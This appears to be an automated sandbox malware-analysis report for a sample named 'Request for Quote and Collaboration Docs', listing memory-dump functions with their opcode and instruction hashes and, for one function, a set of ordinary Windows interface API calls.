Function 398C0D48 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92ccd8afeb16fe74082fcdb1a54062992fa423f3697306b9d8bd629b42c2d4e5
Instruction ID: 746ac42fa7520b1c53c202b71361204165c6fc3c3b3e45322c6d1b0420b81410
Opcode Fuzzy Hash: 92ccd8afeb16fe74082fcdb1a54062992fa423f3697306b9d8bd629b42c2d4e5
Instruction Fuzzy Hash: 38C19E74E01218CFEB54DFA9C994B9DBBB2BF89300F1091A9E409AB355DB359E81CF50

Function 398C2758 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab2a021e7ed8d0142b66acc1cfddca515df8cd73329c7f71cd9faae27a54cee9
Instruction ID: 38a76de2c0d9dce04f6a0f68f0c3bb1d66fea8c59287e90bf564c3340f0ceae9
Opcode Fuzzy Hash: ab2a021e7ed8d0142b66acc1cfddca515df8cd73329c7f71cd9faae27a54cee9
Instruction Fuzzy Hash: BFC1A174E01218CFDB54DFA9C984B9DBBB2BF89300F1091A9E409AB365DB359E85CF50

Function 398C6488 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 063b2c092c3f694eaf6857419d44e285ff302bae04e940b91dbb394cbb89c193
Instruction ID: 4a2fe5d4c2cf102054308dae5f8e81eff7e4955e10d421f5aa07b1f92827d361
Opcode Fuzzy Hash: 063b2c092c3f694eaf6857419d44e285ff302bae04e940b91dbb394cbb89c193
Instruction Fuzzy Hash: 10C1A074E01218CFDB54DFA9C994B9DBBB2BF89300F2091A9E409AB355DB359E81CF50

Function 398C0498 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c8260ad8ac6752013259174e16140956c2abe82fa1647aabb44af78d77d6ba7
Instruction ID: b9b57757e13a2c50c1a374fa0e43c3468e7568501694cf10d8c52a9378f21f29
Opcode Fuzzy Hash: 0c8260ad8ac6752013259174e16140956c2abe82fa1647aabb44af78d77d6ba7
Instruction Fuzzy Hash: EDC19174E01218CFEB54DFA9C954B9DBBB2BF89300F1091A9E409AB355DB359E81CF50

Function 398C1EA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 920f31177e468bf6ff512e4a73d50942724209a23f0d55707f2b86cbccb89cc3
Instruction ID: d03d3929543edaca9e78c60eaf1764e7f1620a4de5ce0711d763864650c785cb
Opcode Fuzzy Hash: 920f31177e468bf6ff512e4a73d50942724209a23f0d55707f2b86cbccb89cc3
Instruction Fuzzy Hash: BEC1A074E01218CFDB54DFA9C994B9DBBB2BF89300F1091A9D409AB365DB359E81CF50

Function 398C72C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1daa86c5bd88a3d9fbcb532f3e5661c65f3759e66aba4a335c543854f67e5eec
Instruction ID: 87eed50acd162a9b05a7360d3c386465f2089abf2f28523af1e22cba7fb8276a
Opcode Fuzzy Hash: 1daa86c5bd88a3d9fbcb532f3e5661c65f3759e66aba4a335c543854f67e5eec
Instruction Fuzzy Hash: 70C19074E01218CFEB54DFA9C994B9DBBB2BF89300F1091A9E409AB355DB359E81CF50

Function 398C4ED0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c450f071c271b45516d9142ecabe8a89c330df51fcccff4dd174032ef837c712
Instruction ID: 2becb4214d3b262eb3f485dac5cfaa82b1924ef22e2b2a64ab7631a016f791b8
Opcode Fuzzy Hash: c450f071c271b45516d9142ecabe8a89c330df51fcccff4dd174032ef837c712
Instruction Fuzzy Hash: FFC1AF74E01218CFEB54DFA9C994B9DBBB2BF89300F2091A9D409AB355DB359E81CF50

Function 398C08F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f9b4b8aebdfaa5ee0737aaf2c0cc2327edb050f53464dab7346a131c7d1a53d
Instruction ID: 1f18244bbecceadcaaf1077f7705edc2fa9c22f04bcc6351356afb8ec1b4211b
Opcode Fuzzy Hash: 4f9b4b8aebdfaa5ee0737aaf2c0cc2327edb050f53464dab7346a131c7d1a53d
Instruction Fuzzy Hash: 9FC1A074E01218CFEB54DFA9C984B9DBBB2BF89300F2091A9D409AB355DB359E85CF50

Function 398C3008 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec79aa348c3e9fdee478da5aac3dac26f2028f40fd5b7f8ae6084e59dbbf14e6
Instruction ID: 4b27de3c29065d83eb5b47325a4b477d088acd2f92e932459cbb41f58f24d329
Opcode Fuzzy Hash: ec79aa348c3e9fdee478da5aac3dac26f2028f40fd5b7f8ae6084e59dbbf14e6
Instruction Fuzzy Hash: 92C1A274E01218CFDB54DFA9C984B9DBBB2BF89300F1091A9E409AB355DB359E86CF50

Function 398C6A18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50ed2ebe35e23abebfecf1d512234acc859d83b269a0cf8184a1ee8de08388ff
Instruction ID: 96872a350423d3646f36068e8856d7a67657252135b446a171e55aa2abbf83d2
Opcode Fuzzy Hash: 50ed2ebe35e23abebfecf1d512234acc859d83b269a0cf8184a1ee8de08388ff
Instruction Fuzzy Hash: 91C19F74E01218CFEB54DFA9C994B9DBBB2BF89300F2091A9D409AB355DB359E81CF50

Function 398C4620 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a31da47194c254cc53980cfd0f429b6f89c6dd8db456d2cb4456f60caf65832
Instruction ID: 24c93b7fbea36c5bc815cd9e0a963109fb26364a30d34f7c5fb8b2c2e854f189
Opcode Fuzzy Hash: 9a31da47194c254cc53980cfd0f429b6f89c6dd8db456d2cb4456f60caf65832
Instruction Fuzzy Hash: 38C19074E01218CFEB54DFA9C994B9DBBB2BF89300F1091A9E409AB355DB359E81CF50

Function 398C6030 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4633347de7b5d1cdc57015bd4c17ce773c02cc9851a4ef05747aedc08f67a5b3
Instruction ID: b57e8aca1bfc5975649aa557cbb6090835ada68e777dcd0f837ae18516bf4a95
Opcode Fuzzy Hash: 4633347de7b5d1cdc57015bd4c17ce773c02cc9851a4ef05747aedc08f67a5b3
Instruction Fuzzy Hash: D6C1A174E01218CFEB54DFA9C944B9DBBB2BF89300F2091A9E409AB355DB359E81CF50

Function 398C0040 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e621042a620de65fe846d0bc8d526a82e7fd08a9a823144956eb5470e5a6617c
Instruction ID: ba39516a4d51ad6ef2f275926d06962c7b7fd2f5b3b1669815796fafc750f289
Opcode Fuzzy Hash: e621042a620de65fe846d0bc8d526a82e7fd08a9a823144956eb5470e5a6617c
Instruction Fuzzy Hash: 74C19F74E01218CFEB54DFA9C994B9DBBB2BF89300F1091A9D409AB355DB359E81CF50

Function 398C1A50 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e3dacaf8d1896d54d7cee637eac08347d50aeb91ac82c9e87401d6b7ae7d49e
Instruction ID: bb1517b2ee088edf07930dc5453b77e66a999a5e475c18d3f79c3d9ee03050db
Opcode Fuzzy Hash: 7e3dacaf8d1896d54d7cee637eac08347d50aeb91ac82c9e87401d6b7ae7d49e
Instruction Fuzzy Hash: 1AC1AF74E01218CFEB54DFA9C984B9DBBB2BF89300F1091A9E409AB355DB359E85CF50

Function 398C3460 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d74a64fd6b1e29e8865d27be72e06d6958a728dac6862fce92c4061cc44c6ddc
Instruction ID: 2bfb2ddefa7c702c9518d9c29592f37d395dff415ea7cfd05b636ba0076cbf5c
Opcode Fuzzy Hash: d74a64fd6b1e29e8865d27be72e06d6958a728dac6862fce92c4061cc44c6ddc
Instruction Fuzzy Hash: BBC1A174E01218CFEB54DFA9C994B9DBBB2BF89300F1091A9E409AB355DB359E81CF50

Function 398C4A78 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e83dde234ccbab268c3706b1fe2c404337261719abecfbdcfbcba68a1a2e56c
Instruction ID: 53213e92829ba25ebb8f5d68828688b79df05418b6ef1978a700a1149a871489
Opcode Fuzzy Hash: 3e83dde234ccbab268c3706b1fe2c404337261719abecfbdcfbcba68a1a2e56c
Instruction Fuzzy Hash: 86C19174E01218CFEB54DFA9C994B9DBBB2BF89300F1091A9E409AB355DB359E81CF50

Function 398C6E70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2769d17a8ced03289f7b736f81cd7c053e3a16a3269355a4942f29fa011a39ad
Instruction ID: ee6559aa5594299fdabdc99550111ef4198a8087e73cba1b07dd7efc6a352a5e
Opcode Fuzzy Hash: 2769d17a8ced03289f7b736f81cd7c053e3a16a3269355a4942f29fa011a39ad
Instruction Fuzzy Hash: 61C1A074E01218CFDB54DFA9C954B9DBBB2BF89300F2091A9E409AB355DB359E81CF50

Function 398AD9A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73ff5216802b8b45528b5704a01600a111bf7bd3405377c1892a9191345ab283
Instruction ID: 4681421164c0c2fb04a17bb72136ef2c070d08d2ae727567a6b3511e1b36e4f8
Opcode Fuzzy Hash: 73ff5216802b8b45528b5704a01600a111bf7bd3405377c1892a9191345ab283
Instruction Fuzzy Hash: 79C19F74E01218CFEB54DFA9C984B9DBBB2BF89304F1091A9E409AB355DB359E81CF50

Function 398AD550 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f9eac19c162850d67f833ec787d4be7c279b6459f1e909fe0eacf9e73d7b2d7
Instruction ID: 9bf8449ecf3c8c76196e3fad318d364b645764c796171ee2796c75c470ea2088
Opcode Fuzzy Hash: 4f9eac19c162850d67f833ec787d4be7c279b6459f1e909fe0eacf9e73d7b2d7
Instruction Fuzzy Hash: 04C19E74E01218CFEB54DFA9C984B9DBBB2AF89304F1091A9E409AB355DB359E81CF50

Function 398ACCA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcfa9a092729a8bd19d69deb764fdfbf258b3b5c84334e4c5efabfe3e8d18481
Instruction ID: f94d428129b64923681c73a980529605c48d4356fe5c27f8e9b87d4b798f13ff
Opcode Fuzzy Hash: dcfa9a092729a8bd19d69deb764fdfbf258b3b5c84334e4c5efabfe3e8d18481
Instruction Fuzzy Hash: CDC19F74E01218CFEB54DFA9C994B9DBBB2BF89300F1091A9E409AB355DB359E81CF50

Function 398AD0F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0c54de2c620292439018a18640ade09155680f99a964b7356d0cf760b7acef7
Instruction ID: 56e680e94ef025a6f8ddefb8384a2918381b42033cced0264b40d65ed709f12d
Opcode Fuzzy Hash: f0c54de2c620292439018a18640ade09155680f99a964b7356d0cf760b7acef7
Instruction Fuzzy Hash: DCC1A074E01218CFDB54DFA9C984B9DBBB2BF89304F1091A9E409AB365DB359E81CF50

Function 398AF810 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4942dba921ea5093c741b2825709ece0f4d1cab34ead54ead65167f5f5813b23
Instruction ID: d0d7372bdbd7b8f2d52bbc5bddb6bf161b4e05371f1d8b1f1b4637b23c077aa1
Opcode Fuzzy Hash: 4942dba921ea5093c741b2825709ece0f4d1cab34ead54ead65167f5f5813b23
Instruction Fuzzy Hash: 16C19174E01218CFDB54DFA9C994B9DBBB2BF89300F2091A9D409AB355DB359E81CF50

Function 398AF3B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 464ca6c75ab7d76238290fc0ce31ef110b8a09f82dbbf96622486b4db9d99c5d
Instruction ID: 1a71fa92e2cb6554271c9a3f3eeb371371d35d04cf670d7f9e554b3455824931
Opcode Fuzzy Hash: 464ca6c75ab7d76238290fc0ce31ef110b8a09f82dbbf96622486b4db9d99c5d
Instruction Fuzzy Hash: 30C1A174E01218CFEB54DFA9C984B9DBBB2BF89300F2091A9D409AB355DB359E81CF50

Function 398AEB08 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4c5571476bf960dc4d77acb850a32bf098ec12d97c66b04b7962c6f3780a8d3
Instruction ID: 820f4ecb248e3e7f70529588215e1b4c2c9026d6c36b6e016051db9b15ce4d5c
Opcode Fuzzy Hash: c4c5571476bf960dc4d77acb850a32bf098ec12d97c66b04b7962c6f3780a8d3
Instruction Fuzzy Hash: 37C19074E01218CFEB54DFA9C994B9DBBB2BF89300F1091A9E409AB355DB359E81CF50

Function 398AEF60 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e607e6d6b9cb4fd879ef435ff186d4fcda8c615ddbefe687a50582278aca94cb
Instruction ID: f0134f264323a54100d326b484442fc759304e774c12d2d69dc04a942d71b6de
Opcode Fuzzy Hash: e607e6d6b9cb4fd879ef435ff186d4fcda8c615ddbefe687a50582278aca94cb
Instruction Fuzzy Hash: 0CC19074E01218CFEB54DFA9C944B9DBBB2BF89300F1091A9E409AB355DB359E85CF50

Function 398AE6B0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce14ae51578ae895c1b0f6a741a09a752c37db0587abaa3f4c15740f0608b9fc
Instruction ID: 56c4b019ef76a162d44fc37b23650b4b0185e1b26810841ce96b86e271aaeba4
Opcode Fuzzy Hash: ce14ae51578ae895c1b0f6a741a09a752c37db0587abaa3f4c15740f0608b9fc
Instruction Fuzzy Hash: 7DC1A074E00218CFEB54DFA9C984B9DBBB2BF89300F2091A9D409AB355DB359E81CF50

Function 398ADE00 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 093a9c4fd29e6318bc83410a591fd66f76a70c7e8125061bc0e255b7e496190c
Instruction ID: 88c0ef76b6013ea7b9ee358b64b5abc45b7c0249e7e95bffec9e515ca8572862
Opcode Fuzzy Hash: 093a9c4fd29e6318bc83410a591fd66f76a70c7e8125061bc0e255b7e496190c
Instruction Fuzzy Hash: 94C19F74E01218CFEB54DFA9C994B9DBBB2BF89300F1091A9E409AB355DB359E81CF50

Function 398AE258 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007358056.00000000398A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398a0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7e69c997f7a64a455917a391a311fdd8872e234be4f741dd70a97ddc7007ed6
Instruction ID: b6d8bfb995d80cb79b727310e155fcb7cbbe982f54052d36ea6def2d951fe6a6
Opcode Fuzzy Hash: a7e69c997f7a64a455917a391a311fdd8872e234be4f741dd70a97ddc7007ed6
Instruction Fuzzy Hash: B0C19074E01218CFEB54DFA9C984B9DBBB2BF89300F1091A9E409AB355DB359E81CF50

Function 0016F974 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22ccf9565cad9864be4928320f4343c7af2e54f9996f224f8d37c7d5450f7990
Instruction ID: 3ab3734d93a26376a81602ac39f2edb54726bf0cd516d5e7b6a0c7a9c5c55cae
Opcode Fuzzy Hash: 22ccf9565cad9864be4928320f4343c7af2e54f9996f224f8d37c7d5450f7990
Instruction Fuzzy Hash: BCC19174E01218CFDB54DFA9C994B9DBBB2BF89300F2091A9D409AB355DB359E82CF50

Function 3A670A10 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007882196.000000003A670000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a670000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c2799d33d804577b823031707f7d797e57bb5855eed6d2e79c21843e8fd0e5c
Instruction ID: d521fc3dc8a61abfa5e2da78ffc1cbac5fa99a5f0e87b63e2b53fa452cbb52e6
Opcode Fuzzy Hash: 3c2799d33d804577b823031707f7d797e57bb5855eed6d2e79c21843e8fd0e5c
Instruction Fuzzy Hash: 1CB19774E00218DFDB54DFA9D884A9DBBB2FF89310F1181A9E819AB365DB31AD41CF50

Function 3A6708DE Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007882196.000000003A670000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a670000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ed74ca1be4f22d5ac373e1f75907ff220773295961d34be159366d707976038
Instruction ID: 96dd09e9ee361367edf49926abbcc6472108f7a5c41c641344074f5dfbf2f9a6
Opcode Fuzzy Hash: 8ed74ca1be4f22d5ac373e1f75907ff220773295961d34be159366d707976038
Instruction Fuzzy Hash: DB918A34E086899FDB45CFB9C4906DDBFF2BF8A204F5880A9D484AB216D7319992CF54

Function 3A670960 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007882196.000000003A670000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a670000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e374b99d09035b1cc751248d85811f87df159f7910487e18ff16be0a355b529
Instruction ID: 61ce8cfdc6cd750a9aef3914e533ac7ac8031cf54828de7f9b02c19541675587
Opcode Fuzzy Hash: 5e374b99d09035b1cc751248d85811f87df159f7910487e18ff16be0a355b529
Instruction Fuzzy Hash: D2815C74E086889FDB45CFB9C4506DDBFF2BF8A200F5980A9D444AB316D7319952CF54

Function 0016F4AC Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca13f65b7a3f88a4fb3a0b84b4e4023c7204721d523067128146eccf8766b30a
Instruction ID: a96c974d89e5033ca11589d31f63f1f2bb96997f6630ed767623374546d85b6d
Opcode Fuzzy Hash: ca13f65b7a3f88a4fb3a0b84b4e4023c7204721d523067128146eccf8766b30a
Instruction Fuzzy Hash: 9D510370D05218CBDB14DFA8E9987EEBBB2FF59300F209129E405BB694CB759896CF50

Function 398CB089 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007407817.00000000398C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 398C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_398c0000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07b0bfedb0ae5e85d9807cfda323637a808349dbdf12ec01e07d7233fb7f33b0
Instruction ID: e8adf77cd4ac882c55e538b682403ec8b46686851789b217f2106856c060981f
Opcode Fuzzy Hash: 07b0bfedb0ae5e85d9807cfda323637a808349dbdf12ec01e07d7233fb7f33b0
Instruction Fuzzy Hash: A841CFB8D022599FCB00CFA8D594BAEBBF1AF49300F1454AAE450B73A1D7399A40CF94

Function 3A670D26 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4007882196.000000003A670000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a670000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c5867e7a119f54b1a2d0c0b7b6548ac1793055fcff5ba2b6bcc6fd2b62275ec
Instruction ID: e9f7989a2aecde54212fa493b3f99c09f023ce51717c504276916426e1e841cb
Opcode Fuzzy Hash: 4c5867e7a119f54b1a2d0c0b7b6548ac1793055fcff5ba2b6bcc6fd2b62275ec
Instruction Fuzzy Hash: 01D06735E15358DACB20DF55A8553AEB771AB95300F002096D50CA7101DB709A608E56

Function 004052D3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405332
GetDlgItem.USER32(?,000003EE), ref: 00405341
GetClientRect.USER32(?,?), ref: 0040537E
GetSystemMetrics.USER32(00000015), ref: 00405386
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004053A7
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053B8
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053CB
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053D9
SendMessageW.USER32(?,00001024,00000000,?), ref: 004053EC
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040540E
ShowWindow.USER32(?,00000008), ref: 00405422
GetDlgItem.USER32(?,000003EC), ref: 00405443
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405453
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040546C
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405478
GetDlgItem.USER32(?,000003F8), ref: 00405350

